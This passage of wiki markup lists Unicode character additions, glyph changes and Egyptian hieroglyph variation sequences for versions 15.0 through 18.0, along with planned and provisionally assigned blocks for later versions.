|GURMUKHI SEQUENCE FOR LETTER GHHA
|-
|0A1C 0A3C
|GURMUKHI SEQUENCE FOR LETTER ZA
|-
|0A2B 0A3C
|GURMUKHI SEQUENCE FOR LETTER FA
|-
|0B21 0B3C
|ORIYA SEQUENCE FOR LETTER RRA
|-
|0B22 0B3C
|ORIYA SEQUENCE FOR LETTER RHA
|}

== Unicode 15.0 ==

Unicode 15.0 was released on September 13, 2022. It encoded 149,186 characters, adding 4,489 new characters.

=== New blocks ===

* '''Arabic Extended-C''' (U+10EC0-U+10EFF), containing 3 characters, was added.
* '''Devanagari Extended-A''' (U+11B00-U+11B5F), containing 10 characters, was added.
* '''Kawi''' (U+11F00-U+11F5F), containing 86 characters, was added.
* '''Kaktovik Numerals''' (U+1D2C0-U+1D2DF), containing 20 characters, was added.
* '''Cyrillic Extended-D''' (U+1E030-U+1E08F), containing 63 characters, was added.
* '''Nag Mundari''' (U+1E4D0-U+1E4FF), containing 42 characters, was added.
* '''CJK Unified Ideographs Extension H''' (U+31350-U+323AF), containing 4192 characters, was added.

=== Extended blocks ===

* A Yamakkan (total 1 character) was added to '''Lao'''. (U+0ECE)
* A combining Anusvara Above Right (total 1 character) was added to '''Kannada'''. (U+0CF3)
* Letters Qa, Short I and Vocalic R (total 3 characters) were added to '''Khojki'''. (U+1123F-U+11241)
* An additional hieroglyph to Group V (total 1 character) was added to '''Egyptian Hieroglyphs'''
* Extended format controls (total 29 characters) were added to '''Egyptian Hieroglyph Format Controls'''. (U+13439-U+13455). The block was expanded from (U+13430-U+1343F) to (U+13430-U+1345F)
* Hiragana and Katakana Small Ko (total 2 characters) were added to '''Small Kana Extension'''. (U+1B132 and U+1B155)
* Letters for Malayalam transliteration (total 6 characters) were added to '''Latin Extended-G'''. (U+1DF25-U+1DF2A)
* A Wireless emoji (total 1 character) was added to '''Transport and Map Symbols'''. (U+1F6DC)
* A Nine Pointed White Star (total 1 character) was be added to '''Geometric Shapes Extended'''. (U+1F7D9)
* A Lot of Fortune, eclipse symbols and symbols for dwarf planets (total 6 characters) were added to '''Alchemical symbols'''. (U+1F774-U+1F776 and U+1F77B-U+1F77F)
* (total 20 characters) were added to '''Symbols and Pictographs Extended-A'''. (U+1FA75-U+1FA77, U+1FA87-U+1FA88, U+1FAAD-U+1FAAF, U+1FABB-U+1FABF, U+1FACE-U+1FACF, U+1FADA-U+1FADB, U+1FAE8 and U+1FAF7-U+1FAF8)
* A disunified ideograph for Macao (total 1 character) was added to '''CJK Unified Ideographs Extension C'''. (U+2B739)

===Glyph Changes===

Here is a table with glyph changes:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
!Block Name
!Code Points
!Count
|-
|IPA Extensions
|025E, 029A
|2
|-
|United Canadian Aboriginal Syllabics
|144B, 14D1, 1506, 15C0..15C3, 15E8..15EE, 1601, 1604..1607, 160A..160D, 1614..162D, 1630..163F, 1646..1647, 165A
|66
|-
|United Canadian Aboriginal Syllabics Extended
|18DB, 18EC, 18F1..18F2, 18F5
|5
|-
|Sundanese
|1BBF
|1
|-
|Optical Character Recognition
|2447
|1
|-
|CJK Unified Ideographs Extension A
|34DC, 3BF6, 3C43, 48B4, 4DBE
|5
|-
|CJK Unified Ideographs
|585F, 5F50, 6BC0, 7BC9, 833E
|5
|-
|Cyrillic Extended-B
|A66E
|1
|-
|Old Turkic
|10C47
|1
|-
|Egyptian Hieroglyphs
|various (new standardized variation sequences)
|94
|-
|Khitan Small Script
|18CCA
|1
|-
|Wancho (font update)
|1E2C0..1E2F9, 1E2FF
|59
|-
|Alchemical Symbols (font update)
|1F700..1F773
|116
|-
|CJK Unified Ideographs Extension B
|20048, 20A1C, 2143F, 21A5F, 21C08, 21FBA, 22ACF, 23392, 238A7, 23D8F, 23F4E, 25D20, 26E30, 27B48, 27C4F, 28633, 28B02, 28E9A, 29760, 2A60F
|20
|-
|CJK Unified Ideographs Extension C
|2B249
|1
|-
|CJK Unified Ideographs Extension E
|2BB37, 2BD7D, 2C151, 2C1E0, 2C2D6, 2C5CA, 2C810, 2CD34
|8
|-
|CJK Unified Ideographs Extension F
|2CF4E, 2D25D, 2D3EC, 2D6A7, 2D7BA, 2D979, 2DA74, 2DA97, 2DC13, 2DDC0, 2DF10, 2DF78, 2E05A, 2E0AE, 2E516, 2E640, 2E680, 2EA63
|18
|-
|CJK Compatibility Ideographs Supplement
|2F804, 2F805, 2F833, 2F835, 2F84C, 2F84F, 2F852, 2F855, 2F887, 2F88B, 2F899, 2F8A0, 2F8A6, 2F8A7, 2F8AD, 2F8B1, 2F8B4, 2F8B7, 2F8BA, 2F8D0, 2F8E0..2F8E2, 2F8E5, 2F8E6, 2F8FE, 2F900, 2F901, 2F907, 2F912, 2F922, 2F926, 2F936, 2F938, 2F94E, 2F959, 2F95F, 2F96C, 2F99F, 2F9B8, 2F9BA, 2F9D3, 2F9DB, 2F9DC, 2F9E8, 2F9EA, 2F9EE, 2FA00, 2FA0D, 2FA1B
|50
|-
|CJK Unified Ideographs Extension G
|302FC, 30723, 30A6D, 30CF7, 30DBF, 31006, 3105D
|7
|-
! colspan=&quot;2&quot; |Total
!461
|}

===Variation Sequences===
Here is a table with new standardized variation sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Context
!Description of Variation Appearance
|-
|13091 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH D027
|-
|13092 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH D027A
|-
|13093 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH D028
|-
|130A9 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH D047
|-
|1310F FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH F016
|-
|13117 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH F023
|-
|1311C FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH F028
|-
|13121 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH F032
|-
|13127 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH F037A
|-
|13139 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH F051
|-
|13139 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH F051
|-
|13183 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH H005
|-
|13187 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH H008
|-
|131A0 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH K006
|-
|131A0 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH K006
|-
|131B1 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH M003
|-
|131B1 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH M003
|-
|131B8 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH M009
|-
|131B9 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH M010
|-
|131BA FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH M010A
|-
|131CB FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH M017
|-
|131EE FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH M044
|-
|131EE FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH M044
|-
|131F8 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH N010
|-
|131F9 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH N011
|-
|131F9 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH N011
|-
|131FA FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH N012
|-
|131FA FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH N012
|-
|13216 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH N035
|-
|13257 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH O006
|-
|1327B FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH O029
|-
|1327F FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH O031
|-
|1327F FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH O031
|-
|13285 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH O036
|-
|1328C FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH O039
|-
|132A4 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH P008
|-
|132A4 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH P008
|-
|132AA FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH Q003
|-
|132CB FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH R024
|-
|132DC FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH S010
|-
|132E7 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH S018
|-
|132E7 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S018
|-
|132E9 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S020
|-
|132F8 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S033
|-
|132FD FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S037
|-
|13302 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S042
|-
|13303 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S043
|-
|13307 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH T001
|-
|13308 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T002
|-
|13310 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T008
|-
|13311 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T008A
|-
|13312 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T009
|-
|13312 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T009
|-
|13313 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T009A
|-
|13313 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T009A
|-
|13314 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T010
|-
|13314 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T010
|-
|1331B FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH T016
|-
|1331B FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T016
|-
|1331C FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T016A
|-
|13321 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T021
|-
|13321 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T021
|-
|13322 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH T022
|-
|13322 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T022
|-
|13331 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T035
|-
|13331 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T035
|-
|1333B FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH U007
|-
|1333C FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH U008
|-
|1334A FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH U022
|-
|13361 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH U042
|-
|13373 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH V007A
|-
|13377 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH V010
|-
|13378 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH V011
|-
|1337D FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH V012A
|-
|13385 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH V019
|-
|13399 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH V026
|-
|1339A FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH V027
|-
|133AF FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH W001
|-
|133B0 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH W002
|-
|133BF FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH W014
|-
|133D3 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH X004A
|-
|133DD FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH Y002
|-
|133F2 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH Z007
|-
|133F5 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH Z010
|-
|133F6 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH Z011
|-
|13403 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH Z015I
|-
|13416 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH AA008
|-
|13419 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH AA011
|-
|13419 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH AA011
|-
|13419 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH AA011
|-
|1341A FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH AA012
|-
|13423 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH AA021
|-
|1342C FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH AA030
|-
|1342E FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH AA032
|-
|13443 FE00
|
|expanded # EGYPTIAN HIEROGLYPH LOST SIGN
|-
|13444 FE00
|
|expanded # EGYPTIAN HIEROGLYPH HALF LOST SIGN
|-
|13445 FE00
|
|expanded # EGYPTIAN HIEROGLYPH TALL LOST SIGN
|-
|13446 FE00
|
|expanded # EGYPTIAN HIEROGLYPH WIDE LOST SIGN
|}

== Unicode 15.1 ==

Unicode 15.1 was released on September 12th, 2023. It encoded 149,813 characters, adding 627 new characters.

=== New Blocks ===
* '''CJK Unified Ideographs Extension I''' (U+2EBF0-U+2EE5F), containing 622 characters, was added.

=== Extended Blocks ===

* 4 Ideographic characters were added to '''Ideographic Description Characters'''. (U+2FFC-U+2FFF)
* An Ideographic subtraction (total 1 character) was added to '''CJK Strokes'''. (U+31EF)

=== Glyph Changes ===
Here is a table with glyph changes:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
!Block Name
!Code Points
!Count

|-
|CJK Unified Ideographs Extension A
|357E, 358B..358E, 3599..359D, 35AF..35B0, 35B2..35B3, 35DF..35E1, 35EF, 360F, 3612, 3F94, 44D5, 48EE
|5
|-
|CJK Unified Ideographs
|5098, 512D, 517A, 5391, 54DB, 551C, 551F, 55B8, 55ED, 56AB, 591E, 594A, 5B2E, 5DFC..5DFD, 5EE4, 609E, 65B0, 65B3, 65D5, 65F2, 67B2, 6AB6, 6AEC, 6C69, 6FC2, 6FD3, 7019, 7361, 74BD, 7934, 820B, 826E, 83BB, 8412, 8456, 848A, 896F, 8E34, 8FD7, 9166, 9855, 985E, 9C4D
|5
|-
|Latin Extended-D
|A798
|1
|-
|Latin Extended-E
|AB5A
|1
|-

|Tangut
|17105, 172A4, 17BD1..17BD3, 17EF9, 18136
|59
|-
|Alchemical Symbols
|1F741, 1F747, 1F74C, 1F74F, 1F756, 1F758, 1F763, 1F768, 1F76D, 1F76E
|116
|-
|CJK Unified Ideographs Extension B
|20302, 2087A, 20C00, 230B7, 2339E, 236EF, 237C3, 23B87, 23CC0, 23CD9, 23E5E, 2486F, 249D6, 249E8, 24D6A, 2585E, 25D89, 26A5A..26A5B, 26A73, 26A82..26A83, 26A90, 26AA6, 26AA8, 26AD8, 27350, 279F8, 284A3, 28BBA, 29516, 29530
|20
|-
|CJK Unified Ideographs Extension C
|2A741, 2AB63, 2ACD8, 2AF6F, 2B173, 2B490
|1
|-
|CJK Unified Ideographs Extension E
|2BC2E, 2BF45, 2C04C, 2C13A, 2C43C, 2C43E, 2C816
|8
|-
|CJK Unified Ideographs Extension F
|2D1CC..2D1CD, 2D1DD, 2D1E4, 2D1F7, 2D203, 2D256, 2D266, 2D2A2, 2D2AC, 2D2DA
|18
|-
|CJK Unified Ideographs Extension G
|301D4, 301D9, 301E4, 301E8, 301FF..30200, 30205, 3020C, 30211, 30215..30217, 30220, 30234..30235, 30237
|7
|-
|CJK Unified Ideographs Extension H
|314B7, 31542, 31569, 31C7F, 31D5A, 31F68
|7
|-
! colspan=&quot;2&quot; |Total
!164
|}

== Unicode 16.0 ==

Unicode 16.0 was released on September 10th, 2024. It encoded 154,998 characters, adding 5185 new characters.

=== New Blocks ===
* '''Todhri''' (U+105C0-U+105FF), containing 52 characters, was added.
* '''Garay''' (U+10D40-U+10D8F), containing 69 characters, was added.
* '''Tulu-Tigalari''' (U+11380-U+113FF), containing 80 characters, was added.
* '''Myanmar Extended-C''' (U+116D0-U+116FF), containing 20 characters, was added.
* '''Sunuwar''' (U+11BC0-U+11BFF), containing 44 characters, was added.
* '''Egyptian Hieroglyphs Extended-A''' (U+13460-U+143FF), containing 3995 characters, was added.
* '''Gurung Khema''' (U+16100-U+1613F), containing 58 characters, was added.
* '''Kirat Rai''' (U+16D40-U+16D7F), containing 58 characters, was added.
* '''Symbols for Legacy Computing Supplement''' (U+1CC00-U+1CEBF), containing 686 characters, was added.
* '''Ol Onal''' (U+1E5D0-U+1E5FF), containing 44 characters, was added.

=== Extended Blocks ===
* A combining diacritical mark for Jawi (total 1 character) was added to '''Arabic Extended-B'''. (U+0897)
* Inverted letters and a punctuation mark (total 3 characters) was added to '''Balinese'''. (U+1B4E-U+1B4F and U+1B7F)
* A letter Tje (total 2 characters) was added to '''Cyrillic Extended-C'''. (U+1C89-U+1C8A)
* Legacy computing symbols for Delete (total 3 characters) was added to '''Control Pictures'''. (U+2427-U+2429)
* CJK strokes HXG and SZP (total 2 characters) was added to '''CJK Strokes'''. (U+31E4-U+31E5)
* A capital Rams Horn, an S with Diagonal Stroke, Lamda Letters, and letters for Wakashan and Salishan Languages (total 6 characters) was added to '''Latin Extended-D'''. (U+A7CB-U+A7CD, U+A7DA-U+A7DC)
* A combining Alef overlay and letters with two dots vertically below (total 4 characters) was added to '''Arabic Extended-C'''. (U+10EC2-U+10EC4 and U+10EFC)
* A sign Nukta (total 1 character) was added to '''Kawi'''. (U+11F5A)
* A blank character (total 1 character) was added to '''Khitan Small Script'''. (U+18CFF)
* A rightwards arrow with hook, and arrows for legacy computing and arrows for Egyptology (total 12 characters) was added to '''Supplemental Arrows-C'''. (U+1F8B2-U+1F8BB, U+1F8C0-U+1F8C1)
* A Harp, Shovel, Leafless Tree, Fingerprint, Root Vegetable, Splatter, and Face with Bags Under Eyes (total 7 characters) was added to '''Symbols and Pictographs Extended-A'''. (U+1FA89, U+1FA8F, U+1FABE, U+1FAC6, U+1FADC, U+1FADF, and U+1FAE9)
* Graphic shapes for legacy computing (total 37 characters) was added to '''Symbols for Legacy Computing'''. (U+1FBCB-U+1FBEF)

== Unicode 17.0 ==
Unicode 17.0 was released on September 9th, 2025. It encoded 159,801 characters, adding 4,083 new characters.

=== New Blocks ===
* '''Sidetic''' (U+10940-U+1095F), containing 26 characters, was added.
* '''Sharada Supplement''' (U+11B60-U+11B7F), containing 8 characters, was added.
* '''Tolong Siki''' (U+11DB0-U+11DEF), containing 54 characters, was added.
* '''Beria Erfe''' (U+16EA0-U+16EDF), containing 50 characters, was added.
* '''Tangut Components Supplement''' (U+18D80-U+18DFF), containing 115 characters, was added.
* '''Miscellaneous Symbols Supplement''' (U+1CEC0-U+1CEFF), containing 34 characters, was added.
* '''Tai Yo''' (U+1E6C0-U+1E6FF), containing 55 characters, was added.
* '''CJK Unified Ideographs Extension J''' (U+323B0-U+3347F), containing 4298 characters, was added.

=== Extended Blocks ===
* A Noon with Ring Above (total 1 character) was added to '''Arabic Extended-B'''. (U+088F)
* An archaic ligature Shrii (total 1 character) was added to '''Telugu'''. (U+0C5C)
* An archaic ligature Shrii (total 1 character) was added to '''Kannada'''. (U+0CDC)
* Compound tone and harrington diacritics (total 26 characters) was to '''Combining Diacritical Marks Extended'''. (U+1ACF-U+1ADD, U+1AE0-U+1AEB)
* Saudi Riyal Sign (total 1 character) was added to '''Currency Symbols'''. (U+20C1)
* Equal Sign with Infinity Above (total 1 character) was added to '''Miscellaneous Symbols and Arrows'''. (U+2B96)
* 2 capital letters for Middle English, Latin pharyngeal voiced fricative, and Modifier Letter Capital S (total 5 characters) was added to '''Latin Extended-D'''. (U+A7CE-U+A7CF, U+A7D2, U+A7D4, U+A7F1)
* Arabic Ligature Rahmatu Allaahi Alayh and Arabic Honorifics (total 25 characters) was added to '''Arabic Presentation Forms-A'''. (U+FBC3-U+FBD2, U+FD90, U+FD91, U+FDC8-U+FDCE)
* A Small Yeh Barree with Two Dots Below, Thin Noon, Biblical End of Verse, Yeh with Four Dots Below, Honorifics, Double Vertical Bar Below, and Small Low Noon (total 14 characters) was added to '''Arabic Extended-C'''. (U+10EC5-U+10EC7, U+10ED0-U+10ED8, U+10EFA-U+10EFB)
* Chinese Simplified and Traditional Er and Yangqin Slow Signs Two, Three, and Four (total 5 characters) was added to '''Ideographic Symbols and Punctuation'''. (U+16FF2-U+16FF6)
* Some additional ideographs (total 8 characters) was added to '''Tangut'''. (U+187F8-U+187FF)
* Additional ideographs (total 22 characters) was added to '''Tangut Supplement'''. (U+18D09-U+18D1E)
* Nine symbols (total 9 characters) was added to '''Symbols for Legacy Computing Supplement'''. (U+1CCFA-U+1CCFC, U+1CEBA-1CEBF)
* A Landslide (total 1 character) was added to '''Transport and Map Symbols'''. (U+1F6D8)
* Historical asteroid symbols (total 4 characters) was added to '''Alchemical Symbols'''. (U+1F777-U+1F77A)
* Chemical symbols (total 9 characters) was added to '''Supplemental Arrows-C'''. (U+1F8D0-U+1F8D8)
* White and Black Chess Ferz and Alfil (total 4 characters) was added to '''Chess Symbols'''. (U+1FA54-U+1FA57)
* A trombone, treasure chest, hairy creature, orca, distorted face, and fight cloud (total 6 characters) was added to '''Symbols and Pictographs Extended-A'''. (U+1FA8A, U+1FA8E, U+1FAC8, U+1FACD, U+1FAEA, and U+1FAEF)
* An alarm bell symbol (total 1 character) was added to '''Symbols for Legacy Computing'''. (U+1FBFA)
* Additional ideographs (total 6 characters) was added to '''CJK Unified Ideographs Extension C'''. (U+2B73A-U+2B73F)
* Additional ideographs (total 12 characters) was added to '''CJK Unified Ideographs Extension E'''. (U+2CEA2-U+2CEAD)

== Unicode 18.0 ==
Unicode 18.0 was released on September 16, 2026.

=== New Blocks ===
*'''Bengali Supplement''' (U+11DF0-U+11DFF), containing 2 characters, was added.
* '''Archaic Cuneiform Numerals''' (U+12550-U+1268F), containing 311 characters, was added.
* '''Jurchen''' (U+18E00-U+1919F), containing 914 characters, was added.
* '''Jurchen Radicals''' (U+191A0-U+191DF), containing 51 characters, was added.
* '''Musical Symbols Supplement''' (U+1D250-U+1D28F), containing 50 characters, was added.
* '''Miscellaneous Symbols and Arrows Extended''' (U+1DB00-U+1DBFF), containing 29 characters, was added.
* '''Seal Script''' (U+3D000-U+3FC3F), containing 11328 characters, was added.

=== Extended Blocks ===
* Modifier letters Eh, Ini, and Yi (total 3 characters) was added to '''Armenian'''. (U+0558, U+058B-U+058C)
* Hebrew Point Sheva Na Mudgash and Hebrew Point Dagesh Hazaq Mudgash (total 2 characters) was added to '''Hebrew'''. (U+05C8-U+05C9)
* Signs for dot above and double dot above (total 2 characters) was added to '''Oriya'''. (U+0B53-U+0B54)
* Alternate positioned IPA diacritics and diacritics for Chao and Khoe (total 7 characters) was added to '''Combining Diacritical Marks Extended'''. (U+1ADE-U+1ADF, U+1AEC-U+1AF0)
* Latin subscript small letter w, y, and z and Modifier letter high and low vertical line (total 4 characters) was added to '''Superscripts and Subscripts'''. (U+208F, U+209D-U+209F)
* Rufiyaa Sign, UAE Dirham Sign, and Omani Rial (total 3 characters) was added to '''Currency Symbols'''. (U+20C2-U+20C4)
* Two Wiggly Exclamation Marks and Two Parenthesis with Middle Ring (total 4 characters) was added to '''Supplemental Punctuation'''. (U+2E60-U+2E63)
* Latin capital letter closed omega and Latin capital letter r with long leg and (total 2 characters) was added to '''Latin Extended-D'''. (U+A7DD and U+A7E2)
* Latin capital letter script r and script r with ring (total 2 characters) was added to '''Latin Extended-E'''. (U+AB6C-U+AB6D)
* Latin modifier letters for clicks (total 5 characters) was added to '''Latin Extended-F'''. (U+107BB-U+107BF)
* Arabic Crown Letters, Quranic Characters, and Arabic Crown (total 39 characters) was added to '''Arabic Extended-C'''. (U+10EC9-U+10ECF, U+10ED9-U+10EEE, U+10EF0-U+10EF9)
* Devanagari Letter Alternate Ddda (total 1 character) was added to '''Devanagari Extended-A'''. (U+11B0A)
* Extended Cuneiform Numeric Signs (total 12 characters) was added to '''Cuneiform Numbers and Punctuation'''. (U+1246F, U+12475-U+1247F)
* Jurchen Small Script characters (total 5 characters) was added to '''Khitan Small Script'''. (U+18CD6-U+18CDA)
* Two additional ideographs (total 2 characters) was added to '''Tangut Supplement'''. (U+18D1F-U+18D20)
* Hiragana Digraph Koto, Katakana Diagraphs Toki, Tote, and Yori, letters alternate Ne, and Wi (total 6 characters) was added to '''Kana Extended-A'''. (U+1B123-U+1B128)
* Katakana letter small archaic Ye (total 1 character) was added to '''Small Kana Extension'''. (U+1B168)
* Leibnizian alchemical symbols,  Leibnizian cossic characters, and Leibnizian mathematical signs and symbols (total 19 characters) was added to '''Miscellaneous Symbols Supplement'''. (U+1CED2-U+1CED4, U+1CEDD-U+1CEDF, U+1CEF1-U+1CEFD)
* Stein Zimmerman Symbols, Digit Slash Symbols, and other Symbols (total 23 characters) was added to '''Musical Symbols'''. (U+1D127-U+1D128, U+1D1EB-U+1D1FF)
* Mathematical italic long s with descender s (U+1D6A6) was added to '''Mathematical Alphanumeric Symbols'''.
* Affricate ligatures, letters with palatal hook, barred letters, RFE letters, Initial Teaching Alphabet, English Phonotypic Alphabet, Leibnizian cossic characters, and modifier letters (total 151 characters) was added to '''Latin Extended-G'''. (U+1DF1F-U+1DF24, U+1DF2B-U+1DF81, U+1DF90-U+1DF96, U+1DFCD-U+1DFFF)
* A Tomobiki symbol (total 1 character) was added to '''Enclosed Alphanumeric Supplement'''. (U+1F1AE)
* A lighthouse (total 1 character) was added to '''Transport and Map Symbols'''. (U+1F6D9)
* A black circle with white vertical bar, and Extended Geometric Shapes (total 17 characters) was added to '''Geometric Shapes Extended'''. (U+1F7DA-U+1F7DB, U+1F7F1-U+1F7FF)
* A meteor, eraser, net with handle, monarch butterfly, pickle, cracking face, leftwards thumb sign, and rightwards thumb sign (total 8 characters) was added to '''Symbols and Pictographs Extended-A'''. (U+1FA8B-1FA8D, U+1FACC, U+1FADD, U+1FAEB, U+1FAF9-1FAFA)
* An additional ideograph (total 1 character) was added to '''CJK Unified Ideographs Extension D'''. (U+2B81E)

== Unicode 19.0==
Unicode 19.0 will be released in late 2027. There are more characters targeted for this version, but they have not been confirmed yet.

=== New Blocks ===
* '''CJK Unified Ideographs Components-A''' (U+2FA20-U+2FA9F), containing 119 characters, will be added.
* '''CJK Unified Ideographs Components-B''' (U+2FAA0-U+2FC1F), containing 375 characters, will be added.

== Code Points Provisionally Assigned==
This is a section where you can add any upcoming Unicode characters that have been [https://www.unicode.org/alloc/Pipeline.html#codepoint_reservation provisionally assigned for mature proposals] (but not yet accepted) for a future update of The Unicode Standard.

=== New Blocks ===
* '''Arabic Extended-D''' (U+10D90-U+10E5F), containing 3 characters, will be added.
* '''Sirmauri''' (U+11850-U+1188F), containing 55 characters, will be added.&lt;!--target: 19.0--&gt;
* '''Leke''' (U+11B80-U+11BBF), containing 55 characters, will be added.
* '''Proto-Cuneiform''' (U+12690-U+12ECF), containing 1392 characters, will be added.&lt;!--target: 19.0--&gt;
* '''Chisoi''' (U+16D80-U+16DAF), containing 40 characters, will be added.&lt;!--target: 19.0--&gt;
* '''Mwangwego''' (U+16E00-U+16E3F), containing 64 characters, will be added.
* '''Shaaldaa''' (U+1C800-U+1CB2F), containing 804 characters, will be added.
* '''Leibnizian Ambiguous Signs''' (U+1DC00-U+1DC3F), containing 54 characters, will be added.)&lt;!--target: 19.0--&gt;

=== Extended Blocks ===
* Telugu Sign Spacing Candrabindu (total 1 character) will be added to '''Telugu'''. (U+0C70)&lt;!--target: 19.0--&gt;
* Kannada Signs Ardhanusvara and Combining Anusvara Above (total 1 character) will be added to '''Kannada'''. (U+0CF0 and U+0CF4)&lt;!--target: 19.0--&gt;
* Mongolian Letter Manchu Alternative Ue (total 1 character) will be added to '''Mongolian'''. (U+1879)
* Combining Grave-Acute-Macron, Combining inverted lazy s Above, and Combining comma Above and acute (total 3 characters) will be added to '''Combining Diacritical Marks Extended'''. (U+1AF1-U+1AF3)
* Cyrillic small letter Yeru with connecting bar (total 1 character) will be added to '''Cyrillic Extended-C'''. (U+1C8B)&lt;!--target: 19.0--&gt;
* Belarusian Ruble sign and Ruble sign with double vertical stem (total 2 characters) will be added to '''Currency Symbols'''. (U+20C5, U+20CF)&lt;!--20C5 target: 19.0--&gt;
* Combining Long Triple Solidus Overlay and Combining Saltire Overlay (total 2 characters) will be added to '''Combining Diacritical Marks for Symbols'''. (U+20F1-U+20F2)&lt;!--target: 19.0--&gt;
* Latin capital and small letter i with oblique stroke (total 2 characters) will be added to '''Latin Extended-D'''. (U+A7DE-U+A7DF)
* Latin capital letter u with left hook (total 1 character) will be added to '''Latin Extended-E'''. (U+AB6E)&lt;!--target: 19.0--&gt;
